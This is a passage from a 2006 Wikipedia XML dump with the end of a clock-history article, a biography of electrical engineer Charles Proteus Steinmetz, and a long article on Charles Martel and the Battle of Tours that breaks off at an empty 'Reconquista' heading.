* [http://www.ieee-uffc.org/freqcontrol/marrison/Marrison.html] article, by a key figure in the development of quartz crystal clocks, on the history of timekeeping up to the late 1940s (based on remarks he made when given a prize for his contributions to horology) from ''The Bell System Technical Journal, Vol. XXVII, pp. 510-588, 1948''

www.Timeforclocks.nl: information on Dutch clocks

==Footnotes==
&lt;references/&gt;

==References==
* Bruton, Eric.  ''The History of Clocks and Watches''.  London: Black Cat, 1993.

* Edey, Winthrop.  ''French Clocks''.  New York: Walker &amp; Co., 1967.

* Lloyd, Alan H. “Mechanical Timekeepers.”  In ''A History of Technology.'' Vol. III. Edited by Charles Joseph Singer, et. al. Oxford: Clarendon Press, 1957, pp. 648-675.

* Robinson, Tom.  ''The Longcase Clock''.  Suffolk, England: Antique Collector’s Club, 1981.

* Smith, Alan.  ''The International Dictionary of Clocks''.  London: Chancellor Press, 1996.

* Tardy.  ''French Clocks the World Over''.  Part One and Two.  Translated with the assistance of Alexander Ballantyne.  Paris: Tardy, 1981. 

* Yoder, Joella Gerstmeyer.  ''Unrolling Time: Christiaan Huygens and the mathematization of nature''. New York: Cambridge University Press, 1988. 

[[Category:Clocks| ]]


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  <page>
    <title>Charles Proteus Steinmetz</title>
    <id>6451</id>
    <revision>
      <id>40229768</id>
      <timestamp>2006-02-19T02:46:08Z</timestamp>
      <contributor>
        <ip>193.151.115.11</ip>
      </contributor>
      <comment>Silesia not Prussia</comment>
      <text xml:space="preserve">[[Image:charlesproteussteinmetz.jpg|thumb|right|250px|Charles Proteus Steinmetz (1865-1923)]]
[[Image:Somerset_01.jpg|thumb|250px|Marconi Wireless Station in Somerset, New Jersey in 1921]]

'''Charles Proteus Steinmetz''' ([[April 9]], [[1865]]  &amp;ndash; [[October 26]], [[1923]]) was a [[mathematician]] and [[electrical engineer]]. He fostered the development of [[alternating current]] that made possible the expansion of the electric power industry in the [[United States]], formulating mathematical theories for engineers. [http://www.invent.org/hall_of_fame/139.html]

==Birth==
He was born as '''Carl August Rudolph Steinmetz''' to Carl Heinrich Steinmetz in [[Breslau]], [[Silesia]] on [[April 9]], [[1865]]. Breslau is now the city of [[Wrocław]] in [[Poland]]. Steimetz was born deformed, was only 4 foot tall, had a hunchback, and a [[hip dysplasia]] required him to use crutches.

==Education==
He received his undergraduate degree from the [[University of Breslau]], first taking classes in 1883. He received his [[Ph.D.]] in 1888.

==Socialism==
He adhered to the belief that electrification of societies would bring about a [[revolution|social revolution]]. He became a [[socialist]] but had to leave Germany when [[Bismarck]] began rounding up socialists.  

==Emigration==
He emigrated to the United States in 1889 and went to work for [[Rudolf Eickemeyer]] in [[Yonkers, New York]] and published in the field of [[magnetic hysteresis]]. In 1893 Eickmeyer's company was bought by the newly formed [[General Electric]] Company.  In 1894, General Electric moved to [[Schenectady, New York]], and Steinmetz was promoted to head of the calculating department. [http://www.ge.com/en/company/companyinfo/executivebios/printable/printable_ew_rice.htm].

==Later years==
He served as president of the Board of Education of [[Schenectady, New York]], and as president of the Schenectady city council. He served as president of the [[American Institute of Electrical Engineers]] (AIEE) from 1901 to 1902.

==Death and burial==
Steinmetz died in 1923 and was buried in [[Vale Cemetery]], [[Schenectady]], New York. 

==Anecdote==
The following was published in the Letters section of ''Life'' magazine (May 14, 1965):

&lt;blockquote&gt;
Sirs: In your article on Steinmetz (April 23) you mentioned a consultation with Henry Ford. My father, Burt Scott, who was an employee of Henry Ford for many years, related to me the story behind that meeting. Technical troubles developed with a huge new generator at Ford's River Rouge plant. His electrical engineers were unable to locate the difficulty so Ford solicited the aid of Steinmetz. When &quot;the litte giant&quot; arrived at the plant, he rejected all assistance, asking only for a notebook, pencil and cot. For two straight days and nights he listened to the generator and made countless computations. Then he asked for a ladder, a measuring tape and a piece of chalk. He laboriously ascended the ladder, made careful measurements, and put a chalk mark on the side of the generator. He descended and told his skeptical audience to remove a plate from the side of the generator and take out 16 windings from the field coil at that location. The corrections were made and the generator then functioned perfectly. Subsequently Ford received a bill for $10,000 signed by Steinmetz for General Electric. Ford returned the bill acknowledging the good job done by Steinmetz but respectfully requesting an itemized statement. Steinmetz replied as follows: Making chalk mark on generator $1. Knowing where to make mark $9,999. Total due $10,000.
&lt;/blockquote&gt;

==Awards==
* [[Cedergren Medal]] (1914).

==Publications==
* Steinmetz, &quot;''The Natural Period of a Transmission Line and the Frequency of lightning Discharge Therefrom''&quot;. The Electrical world. August 27, 1898. Pg. 203 - 205.
* Steinmetz, &quot;''Future of Electricity''&quot;.

==Patents==
At the time of his death, Steinmetz held over 200 [[patent]]s: [http://www.becklaser.de/hbeng/steinmetz.html]
* Steinmetz, {{US patent|533244}}, &quot;''System of distribution by alternating current''&quot;. January 29, 1895.
* Steinmetz, {{US patent|559419}}, &quot;''Inductor dynamo''&quot;.
* Steinmetz, {{US patent|583950}}, &quot;''Three phase induction meter&quot;
* Steinmetz, {{US patent|594145}}, &quot;''Inductor dynamo''&quot;.
* Steinmetz, {{US patent|714412}}, &quot;''Induction motor&quot;.
* Steinmetz, {{US patent|717464}}, &quot;''System of electrical distribution''&quot;.
* Steinmetz, {{US patent|865617}}, &quot;''Induction motor&quot;.
* Steinmetz, {{US patent|1025932}}, &quot;''Means for producing light''&quot;. May 7, 1912.
* Steinmetz, {{US patent|1042986}}, &quot;''Induction furnace&quot;.
* Steinmetz, {{US patent|RE11576}}, &quot;''Inductor dynamo''&quot;.

==External links==
* U.S. Supreme Court, &quot;''[http://laws.findlaw.com/us/192/543.html Steimetz v. Allen, 192 U.S. 543 (1904)]''&quot;. Steimetz v. Allen, Commissioner of Patents. No. 383. Argued January 12, 13, 1904. Decided February 23, 1904. 
* [http://www2.cddc.vt.edu/gutenberg/1/3/9/1/13910/13910-h/13910-h.htm#SCIENCE_AND_RELIGION Essay on Science and Religion by Steinmetz at Project Gutenberg]
* [http://chem.ch.huji.ac.il/~eugeniik/history/steinmetz.html Biographical page]
* [http://inventors.about.com/library/inventors/blsteinmetz.htm About.com page]
* [http://www.union.edu/N/DS/s.php?s=1512 Engineering site]


[[Category:1865 births|Steinmetz, Charles Proteus]]
[[Category:1923 deaths|Steinmetz, Charles Proteus]]
[[Category:Electrical engineers|Steinmetz, Charles Proteus]]
[[Category:Hunchbacks|Steinmetz, Charles Proteus]]
[[Category:Socialists|Steinmetz, Charles Proteus]]
[[Category:General Electric people|Steinmetz, Charles Proteus]]
[[Category:Schenectadians|Steinmetz, Charles Proteus]]

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  <page>
    <title>Charles Martel</title>
    <id>6452</id>
    <revision>
      <id>42116707</id>
      <timestamp>2006-03-03T22:56:07Z</timestamp>
      <contributor>
        <username>Srnec</username>
        <id>494861</id>
      </contributor>
      <minor />
      <comment>/* Leadup and importance */ spacing (wouldn't &quot;Catholic&quot; be better, seeing as it's more descriptive?)</comment>
      <text xml:space="preserve">{{Infobox Military Person
|name= Charles Martel
|image= [[Image:Carlosmartelempoitiers.JPEG|300px]]
|caption= Charles Martel is primarily famous for his victory at the [[Battle of Tours]].
|allegiance=
|commands=
|nickname= &quot;the Hammer&quot;
|lived= [[August 23]], [[686]] - [[October 22]], [[741]]
|placeofbirth= [[Herstal]] ([[Belgium]])
|portrayedby=
}}
{{Campaignbox Charles Martel}}
{{dablink|For the 13th century titular King of Hungary, see [[Charles Martel d'Anjou]].}}

'''Charles Martel''' (or, in [[modern English|English]], Charles ''the Hammer'' and, in [[Latin]], ''Carolus Martellus'') ([[August 23]], [[686]] &amp;ndash; [[October 22]] [[741]]) was [[Mayor of the Palace]] of the three kingdoms of the Franks.  He is best remembered for winning the [[Battle of Tours]] in [[732]], which has traditionally been characterised as saving [[Europe]] from the [[Al-Andalus|Emirate of Cordoba]]'s expansion beyond the [[Iberian Peninsula]].  Martel's Frankish army defeated an [[Arab]] army that had crushed all resistance before it.

Martel was born in [[Herstal]], in what is now [[Wallonia]], [[Belgium]], the illegitimate son of [[Pippin of Herstal|Pippin the Middle]] ([[635]] or [[640]] &amp;ndash; [[December 16]], [[714]]) and his concubine [[Alpaida]] (or Chalpaida). 

==Consolidation of power==
In December 714, Pippin the Middle died.  He had, at his wife [[Plectrude]]'s urging, designated [[Theudoald]], his grandson by Plectrude's son [[Grimoald II|Grimoald]], his heir in the entire realm.  This, however was immediately opposed by the nobles, for Theudoald was a child of eight years.  Plectrude, however, was a vigorous woman and she immediately seized Charles Martel, her husband's eldest surviving son, a bastard, and put him in prison in [[Cologne]], the city which was destined to be her capital.  This prevented an uprising on his behalf in [[Austrasia]], but not in [[Neustria]].  

===Civil war of 715-718===
In [[715]], the Neustrian noblesse proclaimed one [[Ragenfrid]] [[List of Mayors of the Palaces|mayor of their palace]] on behalf of, and apparently with the support of, [[Dagobert III]], the young king, who in fact had the legal authority to select a mayor, though by this time the [[Merovingian]] dynasty had lost most such regal powers.  

The Austrasians were not to be left supporting a woman and her young boy for long.  Before the end of the year, Charles Martel had escaped from prison and been acclaimed mayor by the nobles of that kingdom.  The Neustrians had been attacking Austrasia and the nobles were waiting for a strong man to lead them against their invading countrymen.  That year, Dagobert died and the Neustrians proclaimed [[Chilperic II]] king without the support of the rest of the Frankish people.  

In [[716]], Chilperic and Ragenfrid together led an army into Austrasia.  The Neustrians allied with another invading force under [[Radbod, King of the Frisians]] and met Charles in battle near Cologne, still held by Plectrude.  Chilperic and Ragenfrid were victorious and Charles fled to the mountains of the [[Eifel]].  The king and his mayor then turned to besiege their other rival in the city and took it, the treasury, and received the recognition of both Chilperic as king and Ragenfrid as mayor.  

At this juncture, events turned in favour of Charles.  Charles fell upon the triumphant army, as it returned to its own province, near [[Malmédy]] and, in the ensuing Battle of [[Amel|Amblève]], routed them and they fled.  Hereafter, Charles remained virtually undefeated until his death.  

In Spring [[717]], Charles returned to Neustria with an army and confirmed his supremacy with a victory at [[Vincy]], near [[Cambrai]].  He chased the fleeing king and mayor to [[Paris]] before turning back to deal with Plectrude and Cologne.  He took the city and dispersed her adherents.  On this success, he proclaimed one [[Clotaire IV]] king of Austrasia in opposition to Chilperic. 
{{carolingians}}

After subjugating all Austrasia to his hand, he marched against Radbod and pushed him back into his territory, even forcing the concession of [[West Frisia]] (later [[Holland]]).  He also sent the [[Saxons]] back over the [[Weser]] and thus secured his realms borders &amp;mdash; in the name of the new king, of course.  More than any other prior mayor of the palace, however, absolute power lay with Charles Martel, though he never cared about titles; his son did, and finally asked the [[Pope]] &quot;who should be King, he who has the title, or he who has the power?&quot;  The Pope, highly dependent on Frankish armies for his independence from Lombard and Bzyantine power (the [[Byzantine emperor]] still considered himself to be the only legitimate &quot;Roman&quot; Emperor, and thus, ruler of all of the provinces of the ancient empire, whether recognised or not), declared for &quot;he who had the power&quot; and immediately crowned Pippin.  Decades later, in [[800]], Pippin's son, [[Charlemagne]], was crowned emperor by the pope, further extending the &quot;he who had the power&quot; principle by delegitimising the nominal authority of the Byzantine emperor in the Italian peninsula (which had, by then, shrunk to little more than [[Apulia]] and [[Calabria]] at best) and ancient Roman Gaul, including the Iberian outposts Charlmagne had established in the ''[[Marca Hispanica]]'' across the [[Pyrenees]], what today forms [[Catalonia]]. In short, though the Byzantine Emperor claimed authority over all the old [[Roman Empire]], as the legitimate &quot;Roman&quot; Emperor, and this may have been legally true, it was simply not reality.  The bulk of the [[Western Roman Empire]] had come under Carolingian rule, the Bzyantine Emperor having had almost no authority in the West since the [[sixth century]], though Charlemagne, a consummate politican, preferred to avoid an open breach with Constantinople.  What was occurring was the birth of an institution unique in history: the [[Holy Roman Empire]]. Though the sardonic [[Voltaire]] ridiculed its nomenclature, saying that the Holy Roman Empire was &quot;neither Holy, nor Roman, nor an Empire,&quot; it constitued an enormous political power for a time, especially under the [[Saxon Dynasty|Saxon]] and [[Salian Dynasty|Salian dynasties]] and, to a lesser, extent, the [[Hohenstaufen]].  It lasted until [[1806]], by then a nonentity.  Though his grandson became it's first emperor, the &quot;empire&quot; such as it was, was largely born during the reign of Charles Martel.

In [[718]], Chilperic, in response to Charles new ascendancy, allied with [[Odo the Great]] (or Eudes, as he is sometimes known), the [[duke of Aquitaine]] who had made himself independent during the civil war in 715, but was again defeated, at [[Soissons]], by Charles.  The king fled with his ducal ally to the land south of the [[Loire]] and Ragenfrid fled to [[Angers]].  Soon Clotaire IV died and Odo gave up on Chilperic and, in exchange for recognising his kingship over all the Franks, the king surrendered his kingdom to the mayoralty of Charles over all the kingdoms (718).

===Foreign wars from 718-732===
The ensuing years were full of strife. Between 718 and 723, Charles secured his power through a series of victories: he won the loyalty of several important bishops and abbots (by donating lands and money for the foundation of abbeys such as [[Echternach]]), he subjugated [[Bavaria]] and [[Alemannia]], and he defeated the pagan [[Saxons]].  

Having unified the Franks under his banner, Charles was determined to punish the Saxons who had invaded Austrasia.  Therefore, late in 718, he laid waste their country to the banks of the [[Weser]], the [[Lippe]], and the [[Ruhr]], and the [[Teutoburg Forest]]. In [[719]], Charles seized [[West Frisia]] without any great resistance on the part of the [[Frisians]], who had been subjects of the Franks but had seized control upon the death of Pippin.  Charles did not trust the pagans, but their ruler, [[Aldegisel, King of the Frisians|Aldegisel]], accepted Christianity in his realm and [[Willibrord]], [[bishop of Utrecht]], the famous Apostle to the Frisians, went to convert them at Charles behest.  Charles also did much to support Winfrid, later [[Saint Boniface]], the Apostle of the Germans.  

When Chilperic II died the following year ([[720]]), Charles appointed as his successor the son of Dagobert III, [[Theuderic IV]], who was still a minor, and who occupied the throne from 720 to 737.  Charles was now appointing the kings whom he supposedly served, these ''rois fainéants'' were mere puppets in his hands and by the end of his reign, they were so useless, he didn't even bother appointing one.  At this time, Charles again marched against the Saxons.  Then, the Neustrians rebelled under Ragenfrid, who had been left the county of Anjou.  They were easily defeated ([[724]]), but Ragenfrid gave up his sons as hostages in turn for keeping his county.  This ended the civil wars of Charles' reign.  

The next six years were devoted in their entirity to assuring Frankish authority over the dependent Germanic tribes. Between 720 and [[723]], Charles was fighting in Bavaria, where the [[Agilolfing]] dukes had gradually evolved into independent rulers, recently in alliance with [[Liutprand the Lombard]].  He forced the [[Alemanni]] to accompany him, and Duke [[Hugbert (Bavaria)|Hugbert]] submitted to Frankish suzerainty.  In [[725]] and [[728]], he again entered Bavaria and the ties of lordship seemed strong.  From his first campaign, he brought back the Agilolfing princess Swanachild, who apparently became his concubine. In [[730]], he marched against [[Lantfrid]], duke of Alemannia, who had also become independent, and killed him in battle.  He forced the Alemanni capitulation to Frankish suzerainty and did not appoint a successor to Lantfrid.  Thus, southern Germany once more became part of the Frankish kingdom, as had northern Germany during the first years of the reign.  

But by 730, his own realm secure, Charles began to prepare exclusively for the coming storm from the west.  In [[721]], the [[emir of Córdoba]] had built up a strong army from [[Morocco]], [[Yemen]], and [[Syria]] to conquer Aquitaine, the large duchy in the southwest of Gaul, nominally under Frankish sovereignty, but in practice almost independent in the hands of the Odo the Great since the Merovingian kings had lost power. The invading Muslims besieged the city of Toulouse, then Aquitaine's most important city, and Odo immediately left to find help. He returned three months later just before the city was about to surrender and defeated the Muslim invaders on [[June 9]], [[721]], at what is now known as the [[Battle of Toulouse (721)|Battle of Toulouse]].  The defeat was essentially the result of a classic enveloping movement on Odo's part. After Odo originally fled, the Muslims became overconfident and, instead of maintaining strong outer defenses around their siege camp and continuing scouting, did neither. Thus, when Odo returned, he was able to launch a near complete surprise attack on the besieging force, scattering it at the first attack, and slaughtering units which were resting, or who fled without weapons or armour. 

Charles had watched the Iberian situation since Toulouse, convinced the Muslims would return, and while he was securing his own realms, he was also preparing for war against the [[Umayyad]]s.  It is vital to note that Charles had used an extremely &amp;mdash; for the time &amp;mdash; controversial method of maintaining a standing army, one he could train as a core of veterans to add to the usual conscripts the Franks called up in time of war.  During the [[Dark Ages]], troops were only available after the crops had been planted, and before harvesting time.  Charles believed he needed a standing army, one he could train, to counter the Muslim heavy cavalry, of which, at the time, he had none.  To train the kind of infantry which could withstand heavy cavalry, Charles needed them yearround, and he needed to pay them, so their families could buy the food they would have otherwise grown.  To obtain this money, he seized church lands and property, and used the funds to pay his soldiers.  The same Charles who had secured the support of the ''ecclesia'' by donating land, seized some of it back between 724 and 732.  The Church was enraged, and, for a time, it looked as though Charles might even be excommunicated for his actions.  But then came a significant invasions . . .

===Eve of Tours===
It has been noted that Charles Martel could have pursued the wars against the Saxons - but he was determined to prepare for what he thought was a greater danger. Instead of concentrating on conquest to his east, he prepared for the storm gathering in the west. Well aware of the danger posed by the [[Muslim]]s after the [[Battle of Toulouse (721)|Battle of Toulouse]], in [[721]], it has been explained that he used the intervening years to consolidate his power, and gather and train a veteran army that would stand ready to defend [[Christianity]] itself (at [[Tours]]). Moreever, after his victory at [[Tours]], Martel continued on in campaigns in [[736]]-[[737]] to drive other Muslim armies from bases in [[Gaul]] after they again attempted to get a foothold in [[Europe]] beyond [[al-Andalus]]. [[Edward Gibbon]] calles Martel &quot;the paramount prince of his age&quot;. 

It is also vital to note that the Muslims were not aware, at that time, of the true strength of the Franks.  They considered the Germanic tribes, of which the Franks were part, simply barbarians, and were not particularly concerned about them.  (the Arab Chronicles, the history of that age, show that awareness of the Franks as a growing military power only came after the Battle of Tours when the Caliph expressed shock at his army's disastrous defeat) Thus, when they launched their great invasion of 732, they were not prepared to confront Charles Martel and his Frankish army.   This, in retrospect, was a disastrous mistake.   Emir Abdul Rahman Al Ghafiqi was a good general and should have done two things he utterly failed to do.  He assumed that the Franks would not come to the aid of their Aquitanian cousins, and thus failed to assess their strength in advance of invasion.  He also failed to scout the movements of the Frankish army.  Having done either, he would have curtailed his lighthorse ravaging throughout lower Gaul, and marched at once with his full power against the Franks.  This would not have allowed Charles Martel to pick the time and place the two powers would collide, which all historians agree was pivotal to his victory.

==Battle of Tours==
:''Main article [[Battle of Tours]]''. 

===Leadup and importance===
The [[Cordoba]]n [[emirate]] had previously invaded [[Gaul]] and had been stopped in its northward sweep at the Battle of Toulouse, in 721. The hero of that less celebrated event had been Odo the Great, Duke of Aquitane, who was not the progenitor of a race of kings and patron of chroniclers.  It has previously been explained how Odo defeated the invading Muslims, but when they returned, things were far different.  In the interim, the arrival of a new [[emir of Cordoba]], [[Abdul Rahman Al Ghafiqi]], who brought with him a huge force of Arabs and [[Berber]] horsemen, triggered a far greater invasion.  This time the Muslim horsemen were ready for battle, and the results were horrific for the Aquintanians.  Odo, hero of Toulouse, was badly defeated in the Muslim invasion of [[732]] at the [[Battle of the River Garonne]]&amp;mdash;where the western chroniclers state, &quot;God alone knows the number of the slain&quot;&amp;mdash;and fled to Charles, seeking help.  Thus, Odo faded into history, and Charles marched into it.   

The [[Battle of Tours]] earned Charles the [[cognomen]] &quot;Martel&quot;, for the merciless way he hammered his enemies. Many historians, including the great military historian [[Edward Shepherd Creasy|Sir Edward Creasy]], believe that had he failed at Tours, [[Islam]] would probably have overrun [[Gaul]], and perhaps the remainder of Christian [[Europe]].   Other reputable historians that echo Creasy's belief that this battle was central to the halt of Islamic expansion into Europe include William Watson, and Edward Gibbon believed the fate of [[Christianity]] hinged on this battle.  This opinion was very popular for most of modern historiography, but it fell somewhat out of style in the [[twentieth century]].  Some historians, such as Bernard Lewis,  claimed that Arabs had little intention of occupying northern France.  This opinion has once more fallen out of style and the Battle of Tours is usually considered by historian's today as a very significant event in the history of Europe and Christianity.

In the modern era, Norwich, the foremost authority on the [[Byzantine Empire]], says the Franks halting Muslim Expansion at Tours literally preserved Christianity as we know it. A more realistic viewpoint may be found in ''Barbarians, Marauders, and Infidels'' by Antonio Santosuosso, Professor Emeritus of History at the University of Western Ontario, and considered an expert historian in the era in dispute in this article. It was published in 2004, and has quite an interesting modern expert opinion on Charles Martel, Tours, and the subsequent campaigns against Rahman's successor in 736-737. Santosuosso makes a compelling case that these defeats of invading Muslim Armies, were at least as important as Tours in their defense of western Christianity, and the preservation of those Christian monasteries and centers of learning which ultimately led Europe out of the dark ages. He also makes a compelling case that while Tours was unquestionably of macrohistorical importance, the later battles were at least equally so. Both invading forces defeated in those campaigns had come to set up permanent outposts for expansion, and there can be no doubt that these three defeats combined broke the back of European expansion by Islam while the Caliphate was still united. While some modern assessments of the battle's impact have backed away from the extreme of Gibbon's position, Gibbons's conjecture is supported by other historians such as Edward Shepard Creasy and William E. Watson. Most modern historians such as Norwich and Santosuosso generally support the concept of Tours as a macrohistorical event favoring western civilization and Christianity . Military writers such as Robert W. Martin, &quot;''The Battle of Tours is still felt today&quot;'', also argue that Tours was such a turning point in favor of western civilization and Christianity that its aftereffect remains to this day.  This is the majority view of the battle as it is viewed today.

===Battle===
The Battle of Tours probably took place somewhere between Tours and [[Poitiers]] (hence its other name: Battle of Poitiers). The Frankish army, under Charles Martel, consisted mostly of veteran [[infantry]], somewhere between 15,000 and 75,000 men.  Responding to the Muslim invasion, the Franks had avoided the old Roman roads, hoping to take the invaders by surprise.  Martel believed it was absolutely essential that he not only take the Muslims by surprise, but that he be allowed to select the ground on which the battle would be fought, ideally a high, wooded, plain where the Islamic horsemen, already tired from carrying armour, would be further exhausted charging uphill.  Further, the woods would aid the Franks in their defensive square by partially impeding the ability of the Muslim horesmen from making a clear charge.  

From the Muslim accounts of the battle, they were indeed taken by surprise to find a large force opposing their expected sack of Tours, and they waited for six days, scouting the enemy.  They did not like charging uphill, against an unknown number of foe, who seemed well disciplined and well disposed for battle.  But the weather was also a factor.  The Germanic Franks, in their wolf and bear pelts, were more used the cold, better dressed for it, and despite not having tents, which the Muslims did, were prepared to wait as long as needed, the fall only growing colder.  

On the seventh day, the Muslim army, consisting of between 60,000 and 400,000 horsemen and led by Abdul Rahman Al Ghafiqi, attacked. During the battle, the Franks defeated the Islamic army and the emir was killed. While Western accounts are sketchy, Arab accounts are fairly detailed in describing how the Franks formed a large square and fought a brilliant defensive battle. Rahman had doubts before the battle that his men were ready for such a struggle, and should have had them abandon the loot which hindered them, but instead decided to trust his horsemen, who had never failed him. Indeed, it was thought impossible for infantry of that age to withstand armoured mounted warriors. Martel managed to inspire his men to stand firm against a force which must have seemed invincible to them, huge mailed horsemen, who in addition probably badly outnumbered the Franks.  In one of the rare instances where medieval infantry stood up against cavalry charges, the disciplined Frankish soldiers withstood the assaults, though according to Arab sources, the Arab cavalry several times broke into the interior of the Frankish square. But despite this, Franks did not break, and it is probably best expressed by a translation of an Arab account of the battle from the Medieval Source Book: &quot;And in the shock of the battle the men of the North seemed like North a sea that cannot be moved. Firmly they stood, one close to another, forming as it were a bulwark of ice; and with great blows of their swords they hewed down the Arabs. Drawn up in a band around their chief, the people of the Austrasians carried all before them. Their tireless hands drove their swords down to the breasts of the foe.&quot;  Both Western and Muslim accounts of the battle agree that sometime during the height of the fighting, scouts sent by Martel to the Muslim camp began freeing prisoners, and fearing loss of their plunder, a large portion of the Muslim army abandoned the battle, and returned to camp to protect their spoils.  In attempting to stop what appeared to be a retreat, Abdul Rahman was surrounded and killed by the Franks, and what started as a ruse ended up a real retreat, as the Muslim army fled the field that day.  They could have probably resumed the battle the following morning, but Rahman's death led to bickering between the surviving generals, and the Arabs abandoned the battlefield the day after his death, leaving Martel a unique place in history as the savior of Europe and a brilliant general in age not known for its generalship. Martel's Franks, virtually all infantry without armour, managed to withstand mailed horsemen, without the aid of bows or firearms, a feat of arms almost unheard of in medieval history.

==After Tours==
In the subsequent decade, Charles led the Frankish army against the eastern duchies, Bavaria and Alemannia, and the southern duchies, [[Aquitaine]] and [[Provence]].  He dealt with the ongoing conflict with the [[Frisia]]ns and [[Saxons]] to his northeast with some success, but full conquest of the Saxons and their incorporation into the Frankish empire would wait for his grandson Charlemagne, primarily because Martel concentrated the bulk of his efforts against Muslim expansion.  

So instead of concentrating on conquest to his east, he continued expanding Frankish authority in the west, and denying the Emirite of Córdoba a foothold in Europe. After his victory at Tours, Martel continued on in campaigns in [[736]] and [[737]] to drive other Muslim armies from bases in Gaul after they again attempted to get a foothold in Europe beyond al-Andalus. His victories at Berre and Narbonne again expelled invading Islamic armies.

===Wars from 732-737===
Between his victory of 732 and [[735]], Charles reorganised the kingdom of [[Burgundy]], replacing the counts and dukes with his loyal supporters, thus strengthening his hold on power.  He was forced, by the ventures of [[Radbod, King of the Frisians|Radbod]], [[rulers of Frisia|duke of the Frisians]] (719-734), son of the Duke Aldegisel who had accepted the missionaries Willibrord and Boniface, to invade independence-minded Frisia again in [[734]].  In that year, he slew the duke, who had expelled the Christian missionaries, in battle and so wholly subjugated the populace (he destroyed every pagan shrine) that the people were peaceful for twenty years after.  

The dynamic changed in 735 because of the death of Odo the Great, who had been forced to acknowledge, albeit reservedly, the suzerainty of Charles in 719.  Though Charles wished to unite the duchy directly to himself and went there to elicit the proper homage of the Aquitainians, the nobility proclaimed Odo's son, [[Hunold]], whose dukeship Charles recognised when the Arabs invaded Provence the next year.  

This naval Arab invasion was headed by Abdul Rahman's son.  It landed in [[Narbonne]] in 736 and took [[Arles]].  Charles, the conflict with Hunold temporarily put on a back burner, descended on the Provençal strongholds of the Muslims.  In 736, he retook [[Montfrin]] and [[Avignon]], and Arles and [[Aix-en-Provence]] with the help of [[Liutprand, King of the Lombards]].  [[Nîmes]], [[Agde]], and [[Béziers]], held by Isalm since [[725]], fell to him and their fortresses destroyed.  He defeated a mighty host outside of Narbonne, but failed to take the city.  Provence, however, he successfully rid of its foreign occupiers.

Notable about these campaigns was Charles' incorporation, for the first time, of heavy cavalry with stirrups to augment his [[phalanx]].  His ability to coordinate infantry and cavalry veterans was unequaled in that era and enabled him to face superior numbers of invaders, and decisively defeat them again and again.  Some historians believe Narbonne in particular was as imporant a victory for Christian Europe as Tours.  In ''Barbarians, Marauders, and Infidels'',  [[Antonio Santosuosso]], Professor Emeritus of History at the [[University of Western Ontario]], and considered an expert historian in the era in dispute, puts forth an interesting modern opinion on Martel, Tours, and the subsequent campaigns against Rahman's son in 736-737. Santosuosso presents a compelling case that these later defeats of invading Muslim armies were at least as important as Tours in their defence of Western Christendom and the preservation of Western monasticism, the monasteries of which were the centers of learning which ultimately led Europe out of her Dark Ages. He also makes a compelling argument, after studying the Arab histories of the period, that these were clearly armies of invasion, sent by the Caliph not just to avenge Tours, but to conquer Christian Europe and bring it into the Caliphate.  Thus, Charles again championed Christianity and halted Muslim expansion into Europe, as the window was closing on Islamic ability to do so.  These defeats were the last great attempt at expansion by the Umayyad Caliphate before the destruction of the dynasty at the [[Battle of the Zab]], and the rending of the Caliphate forever.

===Interregnum===
In 737, at the tail end of his campaigning in Provence and [[Septimania]], the king, Theuderic IV, died.  Martel, titling himself ''maior domus'' and ''princeps et dux Francorum'', did not appoint a new king and nobody acclaimed one.  The throne lay vacant until Martel's death.  As the historian [[Charles Oman]] says (''The Dark Ages'', pg 297), &quot;he cared not for name or style so long as the real power was in his hands&quot;.

The interregnum, the final four years of Charle's life, was more peaceful than most of it had been and much of his time was now spent on administrative and organisational plans to create a more efficient state.  Though, in [[738]], he compelled the Saxons of [[Westphalia]] to do him homage and pay tribute.  Charles set about integrating the outlying realms of his empire into the Frankish church.  He erected four diocese in Bavaria ([[Salzburg]], [[Regensburg]], [[Freising]], and [[Passau]]) and gave them Boniface as [[archbishop]] and [[metropolitan bishop|metropolitan]] over all Germany east of the Rhine, with his seat at [[Mainz]].  In [[739]], [[Pope Gregory III]] begged Charles for his aid against Liutprand.  But Charles was loathe to fight his onetime ally and ignored the papal pleas.   Nonetheless, the Papal applications for Frankish protection showed how far Martel had come from the days he was tottering on excommunication, and set the stage for his son and grandson to literally rearrange Italy to suit the Papacy, and protect it.

==Death==
Charles Martel died on [[October 22]], [[741]], at [[Quierzy-sur-Oise]] in what is today the [[Aisne]] ''[[département in France|département]]'' in the [[Picardy]] region of France. He was buried at [[Saint Denis Basilica]] in [[Paris]]. His territories were divided among his adult sons a year earlier: to [[Carloman, son of Charles Martel|Carloman]] he gave Austrasia and Alemannia (with Bavaria as a vassal), to [[Pippin the Younger]] Neustria and Burgundy (with Aquitaine as a vassal), and to [[Grifo]] nothing, though some sources indicate he intended to give him a strip of land between Neustria and Austrasia.  

As noted, Gibbon called him &quot;the paramount prince of his age.&quot;  A strong argument can be made that Gibbon was correct.

==Legacy==
At the beginning of Charles Martel's career, he had many internal opponents and felt the need to appoint his own kingly claimant, Clotaire IV.  By his end, however, the dynamics of rulership in Francia had changed, no hallowed Meroving was needed, neither for defence nor legitimacy: Charles divided his realm between his sons without opposition (though he ignored his young son [[Bernhard, son of Charles Martel|Bernard]].  In between, he strengthened the Frankish state by consistently defeating, through superior generalship, the host of hostile foreign nations which beset it on all sides, including the heathen Saxons, which his grandson Charlemagne would fully subdue, and Moors, which he halted on a path of continental domination.

Charles was that rarest of commodities in the Dark Ages: a brilliant stategic general, who also was a tactical commander ''par excellance'', able in the crush and heat of battle to adapt his plans to his foes forces and movement &amp;mdash; and amazingly, defeated them repeatedly, especially when, as at Tours, they were far superior in men and weaponry, and at Berre and Narbonne, when they were superior in numbers of brave fighting men. Charles had the last quality which defines genuine greatness in a military commander: he foresaw the dangers of his foes, and prepared for them with care; he used ground, time, place, and fierce loyalty of his troops to offset his foes superior weaponry and tactics; third, he adapted, again and again, to the enemy on the battlefield, cooly shifting to compensate for the unforeseen and unforeseeable.

===Beginning of the Reconquista===
